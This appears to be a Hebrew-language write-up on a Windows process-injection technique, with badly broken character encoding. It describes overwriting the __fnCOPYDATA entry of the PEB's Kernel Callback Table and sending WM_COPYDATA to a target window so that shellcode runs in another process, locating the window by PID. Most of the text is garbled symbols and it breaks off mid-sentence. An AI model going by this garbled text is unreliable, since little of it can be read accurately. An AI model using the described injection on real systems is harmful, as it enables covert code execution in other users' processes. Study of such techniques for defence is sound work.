˶ˬ˞ˬ   s ˤ  ˵˯ˣ˰  ˢ˵˧ˮ˩˦˟   ˧ ˸˶˵˥˷   ˰ ˣ˴˧˟˪   s ˴˶ˢ   ˪ ˷   l ˣ˵   ˨ ˧˪ˢ˸˟  ˵˥ˣ˶ˬ  Φ ˭ ˲ˣ˞  ˢ˪ˣ˰˲ˢ   ˪ ˷  ˨˶ˡ  ˣˤ   ˶ ˷˲˞˸ˬ  

˸ˣ˰˴ˬ˞˟  ˪ˣ˴˧ˮ  πskernel   ˪ ˰  ˸ˮˬ    ˳ ˧˶ˢ˪   l ˣ˵   ˨ ˧˪ˢ˸˟  ˵˥ˣ˶ˬ  Φ ˰ ˣ˴˧˟   ˧ ˣˮ˧˷   ˸ ˣˠˢˮ˸ˢ˟  ˪˷   ˸ ˥˞   ˸ ˣ˧˴˵ˮˣ˲ˢ  

ˢ˷πKernel  ˪˧˰˲ˬ  ˨ˣ˸˟  ˧˩˧˪ˢ˸  GUI  ˫˧˵˥ˣ˶ˬ ,  ˨˩   ˶ ˷˞˩˷   ˰ ˧ˠ˧  ˭ˬˤˢ  Σ l ˥˞   ˫ ˧˩˧˪ˢ˸ˢ  ˫˧˵˥ˣ˶ˬˢ   ˳ ˧˶˧   ˸ ˞  

 l ˣ˵  ˧ ˮˣˡˤ ˧˪˟ˬ  ˸˰ˡ˪ ˞ˣˢ˷  ˢ˷ˣ˰ ˸˞ˤ Φ 

˸˞ˤ  ˸ ˵˧ˮ˩˦ ACE ύArbitrary code execution ό˸ˡ˥ˣ˧ˬ ˡˣ˞ˬ Σˣˮ˥ˮ˞  ˰ ˠ˧ˮ ˭ˣˬˢ˟ ˫˧˞˷ˣˮ   ˫ ˧ˮ˧˧ˮ˰ˬ  ˫ ˧˲˶ˣ˦ˬˣ  

ˣ˶ˤ˰˧˷  ˣˮ˪  ˭˧˟ˢ˪ ˨˧˞  ˸ˡ˟ˣ˰  ˸˩˶˰ˬ ˢ˪˰˲ˢˢ   ˪ ˷ windows Φ˪˧˥˸˞ ˰˵˶˟ ˧˦˶ˣ˞˸  Φ 

˧ˮ˞  ˳˧˪ˬˬ  ˞ˣ˶˵˪   ˸ ˞   ˶ ˬ˞ˬˢ  ˫˰   s ˮ˟ˢ  ˸˧˯˧˯˟  ˸ˣ˥˲˪   ˫ ˧˞˷ˣˮ˟   ˫ ˧˞˟ˢ  Υwindows api  Σuser mode kernel 

mode Σ˸ˮ˟ˢ ˠ˷ˣˬˢ ˢ˵˶ˤˢ  ˭˩ˣ ACE  Φ 

˧ˮ˞  ˧˸˟˸˩  ˸˞  πsPOC  π˟rust  Σ˪˟˞  ˧ˮ˞  ˞˪  ˱˧˯ˣ˞  ˶ˣ˷˧˵   x ˧˪˞Φ  ˧ˮ˞   ˭ ˧ˬ˞ˬ  ˨˶ˡˢ˷  ˧˩ˢ  ˢ˟ˣ˦  ˡˣˬ˪˪  ˞˧ˢ   ˷ ˬˬ˪  

ˣˮˬ˴˰˟  Φ˶˧˟˯˞  ˧˦˶˲˪  ˫˧˦˶˲  ˢˬ  ˨˧˶˴  ˷ˬˬ˪  Σ ˧ ˮ˞  ˭˩  ˱˧˯ˣ˞  ˸˞  πsstructπ˫˧  πsundocumented   ˪ ˷  

Windows Σ˧ˮ˞  ˰ˡˣ˧ ˢˬ˩   s ˷˵  ˪ ˣ˩˧ ˸ˣ˧ˢ˪  ˞ˣ˴ˬ˪ ˫˸ˣ˞  Φ 
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ˢ˧˶ˣ˦˯˧ˢ ˪˷ ˢ˵˧ˮ˩˦ˢ 

ˢ˵˧ˮ˩˦ˢ ˸˷ˬˣˬˬˢ ˶ˬ˞ˬ˟  ˢˮ˧ˢ άƪŜǊƴŜƭ ŎŀƭƭōŀŎƪ ǘŀōƭŜέ Σ˪˧˥˸˞  ˱ ˣ˯ˢˬ ˶˧˟˯˞ˣ  l ˴˧˩ ˞˧ˢ  ˸˧˶˷˲˞  Φ 

 ˶ ˟˰˟  Σ˪˩  ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ  ˪˷  πsGUI  ˢ˷ˬˣˬ  ˪˰  ˧ˡ˧  Microsoft  ˟user mode-  Σ ˨ ˧˪ˢ˸˟   ˞ ˶˵ˮ˷  csrss.exe  Φ

˨˧˪ˢ˸ˢ  ˧˞˶˥˞  ˶˷˵˸˪  ˫˰   ˫ ˧˶˟˧˧˶ˡˢ  ˪˷  πsI/OΣ  ˸ˣ˟˵˰˟  ˨˩  ˶˴ˣˮ  ˟˴ˬ  ˸˩˶˰ˬ˷  ˢ˪˰˲ˢˢ  ˢ˸˧˧ˢ  ˢ˩˧˶˴ 

 ˶ ˣ˟˰˪  ˭˧˟   ˫ ˧˟˴ˬˢ  user mode   x-kernel mode   ˶ ˲˯ˬ   ˟ ˶  ˪˷  ˫˧ˬ˰˲Φ   ˶ ˟ˡ  ˢˤ  ˶˴˧  ˸ˣ˪˰   ˸ ˧˰ˣ˴˧˟  ˢˢˣ˟ˠ   ˨ ˶˴ˣ  

˭ˣ˶˩˧ˤ  ˸ˣˬ˩˟ ˢ˟˶ Σ˭˩˪ˣ ˦˪˥ˣˢ ˶˧˟˰ˢ˪  ˸˞ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ  ˪˷ sπGUI   ˪ ˞ sπkernel modeΦ 

Microsoft  ˣ˟˸˩  ˶˟˧˧˶ˡ   ˶ ˷˞  ˧˞˶˥˞  ˪˰  ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ  ˸˞ˤˢ  π˟kernel  ˞˶˵ˮ˷  Win32k.sysΦ  ˞˪  ˢ˧ˢ   ˭ ˸˧ˮ  

˶˧˟˰ˢ˪  ˸˞  ˪˩   ˸ ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ  π˪kernel  Σ x ˲ˣ˯˟   ˪ ˷   ˶ ˟ˡ   ˫ ˧˩˧˪ˢ˸   ˫ ˰  GUI   ˫ ˧˟˧˧˥  ˶˟ˡ˪  ˫˰  ˷ˬ˸˷ˬˢΦ   ˭ ˩˪  

ˢˮ˷˧ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲  ˭˧˧ˡ˰˷ ˢ˶˞˷ˮ ˟πuser mode ύ˭˧˧ˡ˰ ˨˧˪ˢ˸˟  csrss.exe Φό 

˭ˮ˷˧  ˧˸˷  ˸ˣ˧ˣ˷˧  Σ˸˥˞  ˸˪˰ˣ˲  π˟User Mode  Σˢ˧˧ˮ˷ˢˣ   ˟πKernel Mode  Σ˶˷˞  ˸ˣ˷˶ˡˮ  ˶˷˵˸˪  ˭ˢ˧ˮ˧˟  Φ ˶ ˷˞˩  

˶˟˧˧˶ˡˢ  win32k.sys  Σ˪˰ˣ˲˷  π˟Kernel Mode  Σ ˵ ˵ˤˮ  ˸ˣ˶˧˷˪   ˨ ˧˪ˢ˸ˬ  ˪˰ˣ˲ˢ  π˟User Mode  Σ ˞ ˣˢ  ˢ˷ˣ˰   ˸ ˞ˤ  

˸ˣ˰˴ˬ˞˟  ˢ˞˧˶˵  ˢ˧˴˵ˮˣ˲˪  KeUserModeCallback  Φˢ˧˴˵ˮˣ˲  ˣˤ  ˸ˬ˶ˣˠ  ˨˧˪ˢ˸˪  ˟˷πUser Mode   ˰ ˴˟˪  

ˢ˞˧˶˵  ˢ˧˴˵ˮˣ˲˪  ˨ˣ˸ˬ  πsKernel Callback Table  ˣ˪˷  Σ˨˩˟ˣ  ˸˶˷˲˞˸ˬ  ˸˶˟˰ˢ  ˢ˦˧˪˷  ˸˧ˮˬˤ  ˢ˶ˤ˥  π˪User 

Mode  ˨ ˶ˣ˴˪  ˰ ˣ˴˧˟ ˢ˪ˣ˰˲ ˸˷˶ˡˮ  Φ 

πskernel callback table  ˸ ˞ˤ ˢ˪˟˦  ˶˷˞ ˢ˪˧˩ˬ ˭ˣˬˢ pointerπ˫˧  ˸ˣ˧˴˵ˮˣ˲˪  Φ 

˶˷˞˩  ˨˧˪ˢ˸  ˭˰ˣ˦  ˸˞  πsDLL  user32.dll  ύ˶˟˧˧˶ˡˢ  ˧˞˶˥˞˷  ˪˰  πsGUI  ˪˷  ˫˧˩˧˪ˢ˸ όΣ  ˭˰˦ˮ  ˪˞   sπPEB  

ύprocess enviorment block  ό ˰ ˧˟˴ˬ  ˪˞  πskernel callback table Φ   ˧ ˮ˲˪   ˭ ˰˦ˮ˷  πsDLL   ˟πPEB  ˞˪  ˰˧˲ˣˬ   sπ

kernel callback tableΣ  ˭˩˪  ˟ˣ˷˥  ˞ˡˣˣ˪  ˧˩  ˭˩˞  ˨˧˪ˢ˸ˢ   ˭ ˰˦  ˸˞  πsDLL  ύ˸˥˞  ˫˧˩˶ˡˢ  ˵ˣˡ˟˪  ˫˞   sπDLL   ˭ ˰˦ˮ  

˞˧ˢ ˵ˣˡ˟˪  ˫˞  ˨˧˪ˢ˸˪  ˷˧ ˭ˣ˪˥ Φό 

 

˥˸˲ˬ  ˫ ˧ˠ˷ˣˬ   

¶ Shellcode  π ˡˣ˵ ˧ˮˣˡˤ ˟ˣ˸˩ˢ   ˨ ˧˪ˢ˸˟ ˵˥ˣ˶ˬˢ Φ 

¶ KCB π kernel callback table Φ 

¶ PEB π  Process Environment Block 
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˶˟˯ˢ  ˧ ˦˶ˣ˞˸ 

ˢ˵˧ˮ˩˦ˢ   ˸ ˶˞ˣ˸ˬˢ   ˸ ˯˯ˣ˟ˬ   ˪ ˰  ˪ˣ˴˧ˮ   ˪ ˷   ˸ ˥˞   ˸ ˣ˧˴˵ˮˣ˲ˢˬ  ˸ˣ˶ˡˠˣˬˢ  π˟kernel callback tableΣ  ˢ˧˴˵ˮˣ˲ˢ   

__fnCOPYDATA Φ 

ˢ˧˴˵ˮˣ˲  ˣˤ  ˸˪˰˲ˣˬ  ˵˪˥˩  ˭ˣˮˠˮˬˬ  ˸˶ˣ˷˵˸  ˭˧˟π ˸ ˧˩˧˪ˢ˸  ύInter-Process-Communication  ˣ˞  IPCό  ˫ ˷˟  

WM_COPYDATA  Φ˶˟ˣˡˬ  ˸˥˞˟  ˸ˣ˦˧˷ˢ  ˸ˣ˵˧˸ˣˣˢ  ˸˶˟˰ˢ˪  ˰ˡ˧ˬ  ˭˧˟  ˫˧˩˧˪ˢ˸  π˟Windows  Φ˶˷˞˩   ˨ ˧˪ˢ˸  

 ˥ ˪ˣ˷   ˸ ˰ˡˣˢ²aψ/ht¸5!¢!    ˭ ˣ˪˥˪  ˪˷  ˨˧˪ˢ˸  ˶˥˞  ΣπsǘƘǊŜŀŘ   ˪ ˲˦ˬˢ  ˭ˣ˪˥˟   ˨ ˧˪ˢ˸˟  ˡ˰˧ˢ  ˶˟ˣ˰   ˪ ˲˦˪  

ˢ˰ˡˣˢ˟  ˪˰ ˧ˡ˧  ˶ ˟˰ˬ ˢ˧˴˵ˮˣ˲˪ ψψŦƴ/ht¸5!¢!  Σ ˶ ˷˞ ˸˶ˡˠˣˬ ˸˪˟˦˟ sπY/.  ˪˷ ˨˧˪ˢ˸ˢΦ 

ˢˡ˟ˣ˰  x ˤ ˸˶˷˲˞ˬ   ˪ ˴ˮ˪  ˸ ˞  ˭ˣˮˠˮˬˢ  ˫ ˧˧˵ˢ  ˧ ˡ˩ ˳˧˶ˢ˪  l ˣ˵  ˸˥˸ ˶˷˵ˢˢ   ˪ ˷ ˨˧˪ˢ˸   ˶ ˥˞ Φ ˶ ˥˞ˬ  ˸ ˟ˣ˸˩ˢ˷  

˪˷  __fnCOPYDATA  ˸ˮ˸˧ˮ  ˢ˦˧˪˷˪  ύ˸ˣ˰˴ˬ˞˟  ˧ˣˮ˧˷  ˨˶˰ˢ  ˫˧˞˸ˬˢ  π˟KCB  Σό˭˸˧ˮ  ˸ˣˮ˲ˢ˪  ˢ˸ˣ˞  π˪

shellcode ˣˮ˪˷ˬ,  ˨˩˟ˣ   ˫ ˣ˶ˠ˪ ˨˧˪ˢ˸˪  l ˰˧ˢ ˳˧˶ˢ˪ ˸˞ ˡˣ˵ˢ ˧ˣ˴˶ˢ ˪˲˦˧˷˩ ˸˰ˡˣˢ˟ WM_COPYDATA Φ 

ˢ˧˴˵˶˦˯˟˞ Σ l ˴˧˩ ˢ˰ˡˣˢ ˸˶˟ˣ˰ ˭˧˟  ˫ ˧˩˧˪ˢ˸ : 

 

 

˫˧ˮ˶˵˯˪  Σ˳˧˪ˬˬ  ˶ˣ˴˰˪  ˭˞˩  ˧ˮ˲˪  ˫˧ˬˡ˵˸ˬ˷  ˢ˞˧˶˵˟  ˟ˣ˷˥˪ˣ  ˪˰  ˢ˪˞˷ˢ  ˢ˞˟ˢ  Σ l ˴˧˩  ˸ˣ˰˴ˬ˞˟   ˰ ˡ˧ˬˢ  

˧˸˵˲˧˯˷ ˭˸˧ˮ  ˫ˣ˶ˠ˪  ˨˧˪ˢ˸˪   ˵ ˥ˣ˶ˬ ˳˧˶ˢ˪ ˡˣ˵  ˧ ˮˣˡˤ Κ 
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˭ˣ˶˸˲Υ 

˧ˡ˩  ˫ˣ˶ˠ˪  ˨˧˪ˢ˸˪  ˵˥ˣ˶ˬˢ  ˳˧˶ˢ˪  Shellcode  ˪˩˟  ˫˰˲  ˞ˣˢ˷  ˪˟˵ˬ   ˸ ˰ˡˣˢ  WM_COPYDATA  Σ ˨˧˶˴   ˸ ˣˮ˷˪  

˸˞  ˸˟ˣ˸˩   ˰ ˧˟˴ˬˢ  ˪˷ __fnCOPYDATA ˨˩   ˰ ˧˟˴˸˷  ˸˟ˣ˸˩˪  ˢ˧ˣ˴˶ˢ  Φ˫˪ˣ˞  Σ s ˪˟˦ˢ  ˢˬ˴˰  ˢ˞˧˶˵   l ˟˪˟  

όǊŜŀŘπƻƴƭȅύ  Σ ˭ ˩˪ˣ ˞˪ ˸ˮ˸˧ˮ  ˟ˣ˸˩˷˪  ˶˧˷˧Φ 

 ˸ ˬ˧˧˵  ˨˶ˡ   ˸ ˲˵ˣ˰  Σ ˫ ˣ˵ˬ˟  ˸ˣ˯ˮ˪   ˸ ˣˮ˷˪  ˸˞  ˢ˪˟˦ˢ  ˢˬ˴˰  Σ˭˸˧ˮ  ˶ˣ˴˧˪  ˵˸ˣ˰  ˢˢˤ  ˢ˪˷  ˭ˣ˶˩˧ˤ˟  Σ˨ˣ˶˰˪ˣ   x ˟  

˸˞ ˢˡ˷ˢ ˫˧˞˸ˬˢ  ˨ ˩ ˰˧˟˴˧˷ ˟ˣ˸˩˪ ˢ˧ˣ˴˶ˢΦ   

 ˶ ˥˞˪ ˭˩ˬ Σ˷˧  ˭˩ˡ˰˪  ˸ ˞ ˰˧˟˴ˬˢ  ˢ˪˟˦˪ ˨ˣ˸˟ ˢˮ˟ˬ sπt9.  ˪ ˷ ˨˧˪ˢ˸  l ˰˧ˢ, ˨˩  ˰˧˟˴˸˷ ˵˸ˣ˰˪ ˷ˡ˥ˢΦ 

˷˧˥˶˸˟  ˢˤ  Σ˶˷˞˩   ˨ ˧˪ˢ˸   l ˰˧ˢ   ˪ ˟˵ˬ   ˸ ˰ˡˣˢ  WM_COPYDATA  Σ s ˞˧˶˵ˢ   ˸ ˶˟ˣ˰   ˨ ˶ˡ  ˢ˧ˮ˲ˢˢ   ˨ ˣ˸ˬ   sπ

PEB  Σˢ˪˧˟ˣˬ˷   ˸ ˰˩   ˪ ˞  ˵˸ˣ˰ˢ  ˱˧ˣˤˬˢ  ˪ ˷  πsKCB  Φˢ˧˴˵ˮˣ˲ˢ  ˸˶ˡˠˣˬˢ ˟π__fnCOPYDATA  ˸˰˴˟˸ˬ Σ ˨ ˩˟ˣ  

˸ˠ˷ˣˬ ˸˴˶ˢ   l ˣ˵ ˸˥˸ ˶˷˵ˢˢ ˪˷ ˨˧˪ˢ˸ˢ ˵˥ˣ˶ˬˢ π  ˞˪˪ ˷ˣˬ˧˷  ˧ˣ˪ˠ  ˧ˮˣˮˠˮˬ˟   ˸ ˶˧˴˧ thread ˫˧˧ˮˣ˴˧˥ Φ 

 

bŀǘƛǾŜ !tL 

πsNative API  ˞ˣˢ   ɣ ˷ˣˬ   ˧ ˤ˩˶ˬ  ˸ˣˮ˩˸˟  ˸˩˶˰ˬ˪  ˢ˪˰˲ˢˢ Windows   Σˠ˴˧˧ˬˣ  ˸˞  ˸ˬ˶  ˢ˷˧ˠˢ  ˢ˟ˣ˶˵ˢ   ˶ ˸ˣ˧˟  

 ˸ ˰˴ˣˬ˷ ˧˸ˮ˩˸ˬ˪ user mode  ˨ ˶ˣ˴˪ ˢ˧˴˵˞˶˦ˮ˧˞ ˫˰ sπkernelΦ 

 ˶ ˷˞˩  ˨˧˪ˢ˸   ˟ ˴ˬ˟  user mode   ˵ ˣ˵ˤ  ˢ˷˧ˠ˪  ˟˞˷ˬ˪  ˸˩˶˰ˬ  ύ ˪ ˷ˬ˪  ˳˟ˣ˵  Σ˭ˣ˶˩˧ˤ   x ˞   ˦ ˵˧˧˟ˣ˞  ˭ˣ˶˩ˮ˧˯  ό

˷˥˶˸ˬ ˶˟˰ˬ   ˪ ˞ kernel mode Σ ˸ ˣ˰˴ˬ˞˟  ˸ ˞˧˶˵ ˸˩˶˰ˬ  ύsyscall Φό 

˫˰   ˸ ˞ˤ  Windows API  Σ ˵ ˷ˬˬˢ   ˧ ˬ˷˶ˢ  ˡ˰ˣ˸ˬˢˣ   ˪ ˷  ˸˩˶˰ˬ   s ˪˰˲ˢˢ,   x ˮ˧˞  ˰˴˟ˬ  ˢ˶ˣ˴˟   s ˶˧˷˧   ˸ ˞  ˸˞˧˶˵  

˸˩˶˰ˬˢ  Σ˞˪˞  ˪˧˰˲ˬ  ˸˧˧˴˵ˮˣ˲  ˫˧˧ˮ˧˟  ˨ˣ˸ˬ  π˟ntdll.dll  ˣ˞   ύ˫˧˸˧˰˪  win32u.dllόΦ  ˞˧ˢ  ˣˤ  ˸˧˞˶˥˞˷  ˪˰   ˰ ˣ˴˧˟  

πssyscall ˪˰ˣ˲˟.   

πsNative API  ˣˬ˴˰  ˣˮ˧˞  ˡ˰ˣ˸ˬ   ˭ ˲ˣ˞˟  ˧ˬ˷˶  ˪˰  ˧ˡ˧  Microsoft  Σ˨˞  ˡ˰ˣ˸  ˨˶ˣ˞˪   ˫ ˧ˮ˷ˢ  ˸ˣ˰˴ˬ˞˟  ˶˵˥ˬ 

reverse engineering  ˪˷  ˧˴˟˵ sπDLL ˫˧˧˦ˮˣˣ˪˶ˢ. 

 ˸ ˣˬ˧˸˥  ˸ˣ˟˶   ˪ ˷   ˸ ˣ˧˴˵ˮˣ˲ˢ  ˣ˪˪ˢ  ˸ˣˮ˧ˬˤ  ˶˸˞˟:  https://ntdoc.m417z.comΣ   ˷ ˬ˷ˬ˷  ˶ˣ˵ˬ   ˰ ˡ˧ˬ   ˭ ˧ˬ˞  

˭˩ˡˣ˰ˬˣ  ˶ ˣ˟˰ ˧˥˸˲ˬ low-level π˟Windows Φ 

˸˰˟  ˷ˣˬ˧˷ ˟πNative API  ˷˧  ˭ˣ˰˦˪ ˸˞ ˢ˧˧˶˲˯ˢ ntdll.dll ˠ˧˷ˢ˪ˣ ˢˮˬˬ ˰˧˟˴ˬ ˢ˧˴˵ˮˣ˲˪ ˢ˧ˣ˴˶ˢ  Φ 
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ˢ˪ˣ˰˲ xʕ ˸˰˴˟˸ˬ  ˟ˣ˶˪  ˸ˣ˰˴ˬ˞˟  ˧˸˷ ˸ˣ˧˴˵ˮˣ˲ ˢˬπWin APIΦ 

¶ GetModuleHandleA    π  ˸˪˟˵ˬ  ˸ˤˣ˶˥ˬ  ˫˰   ˫ ˷  ˢ˧˧˶˲˯ˢ ύ˪˷ˬ˪  Ϧntdll.dll  όϦˢ˶˧ˤ˥ˬˣ ˰˧˟˴ˬ ˢ˧˧˶˲˯˪. 

¶ GetProcAddress π ˸˪˟˵ˬ ˰˧˟˴ˬ  ˢ˧˧˶˲˯˪ ˸ˤˣ˶˥ˬˣ ˫˷ ˪˷ ˢ˧˴˵ˮˣ˲ Σˢ˶˧ˤ˥ˬˣ ˰˧˟˴ˬ ˭ˣ˶˩˧ˤ˪  ˢ˟  ˞ ˧ˢ  

˸˞˴ˬˮ. 

 ˷ ˣˬ˧˷  π˟Native API  Σ˶˷˲˞ˬ  ˰˴˟˪  ˸ˣ˪ˣ˰˲  ˭ˮ˧˞˷   ˸ ˣ˷˧ˠˮ  ˨˶ˡ  πsWin API  ˪˧ˠ˶ˢ  Σ˨˞  ˞ˣˢ  ˟˧˧˥ˬ   ˸ ˣ˶˧ˢˤ  

ˢˮ˟ˢˣ ˢ˵˧ˬ˰ˬ ˪˷ ˧ˮ˟ˬ ˸˩˶˰ˬˢ ˸ˣ˞˧˶˵ˢˣ ˸ˣ˧ˬ˧ˮ˲ˢ  s ˪˷. 

 

 

˸ˣˮˣ˪˥   

˧˲˩   ˪ ˟ˣ˵ˬ˷  ˸˩˶˰ˬ˟  ˢ˪˰˲ˢˢ  Windows  Σ ˦ ˰ˬ˩   ˪ ˩˪  ˦˵˧˧˟ˣ˞   ˧ ˪˞ˣˤ˧ˣ   ς   ˫ ˧˸˧˰˪ˣ   ˫ ˠ   ˫ ˧˦˵˧˧˟ˣ˞˪   ˫ ˮ˧˞˷  

 ˫ ˧ˠ˴ˣˬ ˷ˬ˸˷ˬ˪  ς ˶˴ˣˮ  ˭ˣ˪˥  ύWindow Handle Φό 

ˢ˶˵ˬ˟  ˪˷ ˢ˵˧ˮ˩˦ˢ ˸˶˞ˣ˸ˬˢ Σ x ˬˣ˧˵ ˪˷  ˭ ˣ˪˥ ˨˧˪ˢ˸˟ ˡ˰˧ˢ ˞ˣˢ ˧˞ˮ˸  ˧ ˥˶˩ˢ: 

˧˲˩  ˶˟˯ˣˢ˷  ˸˪˧˥˸˟   ˶ ˬ˞ˬˢ  Σ˸ˮ˧˰˦ user32.dll ˪˞  ˨ˣ˸  ˨˧˪ˢ˸ˢ  ˢ˪˧˟ˣˬ  ˸˶˧˴˧˪  ˸˪˟˦  πsKernel Callback 

Table  ˨ˣ˸˟   sπPEB  Φˢ˪ˣ˰˲   x ˤ  ˸˰˴˟˸ˬ   ˵ ˶   ˶ ˷˞˩   ˨ ˧˪ˢ˸ˢ   ˭ ˰ˣ˦  ˸˞  ˢ˧˧˶˲˯ˢ  ˪˰ˣ˲˟  Σ˶˟ˡ  ˢ˶ˣ˵˷   ˶ ˷˞˩  

 ˸ ˬ˧˧˵  x ˟ ˢ˧˴˵˞˶˦ˮ˧˞ ˸˧˲˶ˠ Σ˶ˬˣ˪˩  ˭ˣ˪˥ ˪˧˰˲. 

ˢ˶˸˧  ˸˞ˤˬ  Σ˶˥˞ˬ  ˢ˵˧ˮ˩˦ˢˣ  ˢ˷ˣ˰  ˷ˣˬ˧˷  ˸˶˟˰ˢ˟  ˸˰ˡˣˢ WM_COPYDATAΣ ˶˷˞  ˸˥˪˷ˮ  ˭ˣ˪˥˪  ˫˧˧˵  Σ

˷˧  ˞ˡˣˣ˪  ˨˧˪ˢ˸˪˷ ˡ˰˧ˢ  ˭˩˞ ˷˧ ˭ˣ˪˥ ˪˧˰˲ ˭˸˧ˮ˷  ˶˸˞˪ ˥ˣ˪˷˪ˣ  ˣ˧˪˞  ˸˞ ˢ˰ˡˣˢˢ. 

˟ˣ˷˥   ˶ ˣ˩ˤ˪  ˪ ˩˷ ˭ˣ˪˥  ˸˩˶˰ˬ˟ ˨˧ˣ˷ˬ  π˪thread  ˫ ˧ˣ˯ˬ ˨˧˪ˢ˸˟  Σˣˢˤˣ sπthread ˪˲˦˧˷   ˪ ˰ˣ˲˟ ˢ˰ˡˣˢ˟  Φ 
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˧˲˩   ˭ ˸˧ˮ˷ ˸ˣ˞˶˪ ˢˮˣˬ˸˟  ˸˲˶ˣ˴ˬˢ   ˨ ˣ˸ˬ  Spy++ (spyxx.exe)  Σ ˧ ˪˩  ˪˷  ˦˲ˣ˯ˣ˶˵˧ˬ Σ˫˧ˬ˧˧˵   ˶ ˣ˲˯ˮ˧˞  ˸ˣˮˣ˪˥  

˫˧˪˧˰˲  ˸˩˶˰ˬ˟  Φ˪˩˪  ˡ˥˞  ˫ˢˬ  ˨˧ˣ˷ˬ  ˢˢˤˬ  ˧ˡˣ˥˧˧  ύHandle  ό˰ˡ˧ˬˣ  ˱˯ˣˮ  ˣˬ˩  ˫˷  ˢ˵˪˥ˬˢ  Σ˸˶˸ˣ˩ˢ   xπ

thread ˧˞˶˥˞ˢ   ˪ ˰ ˪ˣ˲˧˦ˢ x˟Φ 

 

 

 ˧ ˡ˩˟   ˰ ˴˟˪   ˸ ˞  πs ACE ˸ ˣ˰˴ˬ˞˟  WM_COPYDATA  Σ ˷ ˶ˡˮ  Handle   ˪ ˷   ˭ ˣ˪˥   ˨ ˣ˸ˬ   ˨ ˧˪ˢ˸ˢ   x ˧˪˞˷   ˫ ˧˴ˣ˶  

˵˧˶ˤˢ˪  Φ˨˞  ˣˮ˸ˣ˷˶˪  ˞˴ˬˮ  ˵˶  πsPID  ˪˷  ˨˧˪ˢ˸ˢ  Σ˭˧˞ˣ  API  ˶˧ˤ˥ˬ˷  ˸ˣ˶˧˷˧  ˸˞  ˪˩  ˸ˣˮˣ˪˥ˢ  ˪˷   ˨ ˧˪ˢ˸  

˫˧ˣ˯ˬ Φ 

˭˞˩ ˸˯ˮ˩ˮ ˢˮˣˬ˸˪  s ˧˴˵ˮˣ˲ˢEnumWindows  ˬπWinAPI  Φˢ˧˴˵ˮˣ˲ xʕ  ˸ ˪˟˵ˬ ˧ˮ˷ ˫˧˶˦ˬ˶˲: 

¶ ˰˧˟˴ˬ  ˸˧˧˴˵ˮˣ˲˪ callback ˶˷˞  ˪ ˰˲ˣ˸ ˶ˣ˟˰ ˪˩  ˭ ˣ˪˥ ˸˩˶˰ˬ˟. 

¶  ˨ ˶˰LPARAM  ˧˪˪˩ ˣ˟˷ ˭˸˧ˮ  ˶˧˟˰ˢ˪  ˸˞ sπPID ˪˷  ˨ ˧˪ˢ˸  ˡ˰˧ˢ. 

˨˪ˢˬ˟  ˢ˵˧˶˯ˢ  Σˢ˧˴˵ˮˣ˲ˢ  ˢ˪˧˰˲ˬ  ˸˞  πscallback  ˪˰  ˪˩  ˭ˣ˪˥  ˸˩˶˰ˬ˟  Φ˨ˣ˸˟  πscallback  ˷ˬ˸˷ˮ   ˟π

GetWindowThreadProcessId Σ˸˪˟˵ˬ˷ Handle ˪˷  ˭ ˣ˪˥  ˢ˶˧ˤ˥ˬˣ  ˸˞ sπPID ˪˷ ˨˧˪ˢ˸ˢ  ˵ ˧ˤ˥ˬ˷ x˟  Φ 

˶˷˞˩  ˞˴ˬˮ  ˭ˣ˪˥  ˢ˷ πPID   x ˪˷  ˫˞ˣ˸ ˨˧˪ˢ˸˪  ˡ˰˧ˢ  Σ˭˸˧ˮ ˶˧ˤ˥ˢ˪  FALSE  ˧ˡ˩ ˶ˣ˴˰˪ ˸˞  ˢ˵˧˶˯ˢ ˶ˣˬ˷˪ˣ  ˸ ˞  

πsHANDLE ˪˷   x ˸ˣ˞ ˭ˣ˪˥. 

˨˩  ˪˩ˣˮ  ˶˸˞˪  ˭ˣ˪˥  ˪˷  ˨˧˪ˢ˸  ˡ˰˧  ˸˶ˤ˰˟  PID  ˡ˟˪˟,  ˥ˣ˪˷˪ˣ  ˣ˧˪˞  ˸˞  ˸˰ˡˣˢ  WM_COPYDATA   ˪ ˧˰˲˸˷  

˸˞ ˡˣ˵ˢ  ˣˮ˪˷ Φ 
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ǎƘŜƭƭŎƻŘŜ  ˪˷ ŎǊŜŀǘŜwŜƳƻǘŜ¢ƘǊŜŀŘ ύ˧˪ˮˣ˧˴˲ˣ˞ό 

˸˰˟  ˸˥˧˪˷  ˢ˰ˡˣˢˢ  WM_COPYDATA  ˭ˣ˪˥˪  ˫˧ˣ˯ˬ  Σπsthread  ˧˞˶˥˞˷  ˪˰  ˪ˣˢ˧ˮ  ˣ˸ˣ˞   ˭ ˣ˪˥  ˶˟ˣ˰   ˪ ˲˦˪  

ˢ˰ˡˣˢ˟  Φ˸˶ˠ˯ˬ˟  ˪ˣ˲˧˦ˢ  ˞˶ˣ˵  πsthread  ˢ˧˴˵ˮˣ˲˪  __fnCOPYDATA    Σˡˣ˵ˢˣ  ˶ˡˠˣˬ˷  ˢ˟  ˳˶  ˸˥˸  ˶˷˵ˢˢ  

˪˷   x ˸ˣ˞ sπǘƘǊŜŀŘ Σ ˫˧˸˧˰˪˷  ˸ˣ˟ˣ˶˵ ˢˣˣˢˬ  ˵ ˪˥ ˧˦˧˶˵  ˭ˣˮˠˮˬ˟ ˢˡˣ˟˰ˢ   ˪ ˷ ˨˧˪ˢ˸ˢΦ   

˶ˣ˞˪ ˸˞ˤ  ˸ˬ˧˧˵  ˸ˣ˟˧˷˥  ˢˢˣ˟ˠ ˨˩˪ ˡˣ˵ˢ˷ ˰˴˟˸ˬˢ ˟˪˷˟ ˢˤ ˢ˧ˢ˧  ˶˴˵ ˪˩˩ ˭˸˧ˮˢ, ˧ˡ˩ ˰ˣˮˬ˪ ˢ˧ˢ˷ˢ  x ˞  

ˢˬ˧˯˥ ˪˷ thread ˧ˤ˩˶ˬ.   

˫˰  ˸˞ˤ, ˣˮˮ˧˞  ˫˧ˮ˧˧ˮˣ˰ˬ ˪˧˟ˠˢ˪  ˸˞  ˨˷ˬ  ˢ˴˧˶ˢ  ˪˷  πsshellcode  ˣˬ˴˰Φ  ˭˩˪ ˷˧  ˶˧˟˰ˢ˪  ˸˞  ˰ˣ˴˧˟ˢ ˣ˪˷   ˪π

